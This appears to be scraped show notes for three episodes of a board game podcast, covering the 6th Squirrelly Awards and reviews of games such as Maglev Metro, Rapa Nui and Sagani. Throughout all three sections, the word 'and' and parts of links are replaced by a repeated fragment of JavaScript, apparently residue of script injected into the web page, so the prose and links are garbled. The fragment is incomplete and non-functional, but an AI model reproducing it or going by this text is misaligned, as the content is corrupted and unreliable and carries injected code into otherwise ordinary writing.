RDTN Episode 225: 6th Annual Squirrelly Awards

TimeCategoryPresenter
00:37IntroMarty & Tony
05:43Let’s get this party startedDan King
09:40It’s in the CardsTantrum House
11:00Acceptance SpeechMatt Riddle
13:35You gonna paint thoseJoel Eddy
17:53No Quarter requiredBJ Rojas
23:01Pass the AdvilChaz Marler
29:10Go Do My Bidding David Waybright
33:00Miniature Market
Portal Games
Game Toppers
35:49This Game has Bling Christina & Robb Rouse
38:00Acceptance Speech Isaac Childres
41:26Just the Two of usDan & Chris
45:12Gimme More! Jon & Emily Detmer
46:43Acceptance SpeechIgnacy & Joanna Kijanka
50:32Publisher of the YearMarty & Tony
51:46Acceptance SpeechZev Shlasinger
53:03If I can’t play Strike Rodney Smith
57:56Better Late Than NeverLuke Otfinowski
1:01:23“It’s Alive!” Jamie Keagy
1:08:19All Y’all AwardDon Bagget
1:12:36Game of the Year – TonyCrystal & Ambie
1:17:54Game of the Year – MartyPaula Deming

It’s our 6th Annual Squirrelly Awards! We pick some of our favorite games from 2020 to present the coveted (haha) Squirrelly Award. Our friends from everywhere are coming in to help out. We are challenged this year with all the safety protocols that we must follow, but it will not keep us from having fun andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recognizing some incredible games.

Thanks for listening

RDTN Episode 224: Maglev Metro, Rapa Nui, In a Nutshell

00:00 Game Toppers
02:26 Vanessa Intro
02:57 Intro
07:36 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic-20210212-225ottvh4ngfjcho6qfixkqajy-story.html”>Baseball Card Resurgence
16:10 Pokemon 25th Anniversary
27:00 Valheim – We got no clue
29:22 Food Talk Again
34:50 Portal Games
37:49 Maglev Metro
50:32 Miniature Market
1:01:11 In a Nutshell
1:01:45 Warhammer Quest: Cursed City
1:08:50 Summoner Wars: Second Edition
1:11:13 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-monsters/?ref=kicktraq”>Meeples andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Monsters
1:14:42 Mosaic: A Story of Civilization
1:17:32 Rapa Nui
1:31:23 Outro

Only two games in the episode with a deep review? Well, we spent a bunch of time on them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and didn’t want to just cram the episode full andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cut out important items we wanted to cover. Plus, there was some news to share with you that you might have missed, needed to make sure we covered those items as well.

Maglev Metro by Bezier Games is a pickup deliver game that enhances the actions you take as you play. You can modify the amount of a specific action you take. For instance, you want to build track, the more robots you put in this action, the more track you can build. And since there are a bunch of actions that all can be modified, you will shift much of your concentration away from building of tracks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stations to how to optimize those actions to help you score the points at the end of the game. So, if you are thinking why do I need another train pickup andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver game, take a look at how you have to manipulate the actions to be successful in this game.

Rapa Nui is a mystery on how something so simple in mechanics can quickly become very strategic as you play. This game could be considered entry level due to those simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and easy teach, but as you play, you will start seeing little nuggets of the strategy. Strategies such as claiming key locations on the map to gain resources while benefiting others. Thinking how to use other peoples locations to help you on your turn. Or strategically holding back in hopes that maybe next round you will benefit from someone else’s play during the current round.

Thanks for listening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the next episode is our Squirrely’s

RDTN Episode 223: Carpe Diem, Royal Visit, Cloudage, Sagani, Block and Key

00:00 Intro
03:45 Cloudage
22:56 Valentine’s
26:00 Venus Flytrap
28:50 Window AC Removal
29:50 Stay in your lane, Bojangles
31:46 Coke vs Pepsi
33:25 Arkham LCG Expansions
50:36 Portal Games
53:14 Carpe Diem
1:04:08 Royal Visit
1:13:49 Miniature Market
1:17:31 Sagani
1:26:25 Outro

The wives come back andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bail us out once again. Vanessa discusses her thoughts on the re-release of the game Royal Visit. Donna shares her opinion on the tile laying game Sagani.

We also talk about the game Carpe Diem which is in its third release. Sometimes you just need a game that is simple to play and it’s easy to get to the table. Not saying that the game isn’t strategic or thought provoking it’s just nice to keep things simple on gameplay.

Marty also convinces me that I need spent more money over at Kickstarter by talking about Block and strategic game. Unfortunately I missed out on the play of Cloudage but Marty definitely shares his thoughts and how that game went.

Thanks for listening and see you in a couple of weeks.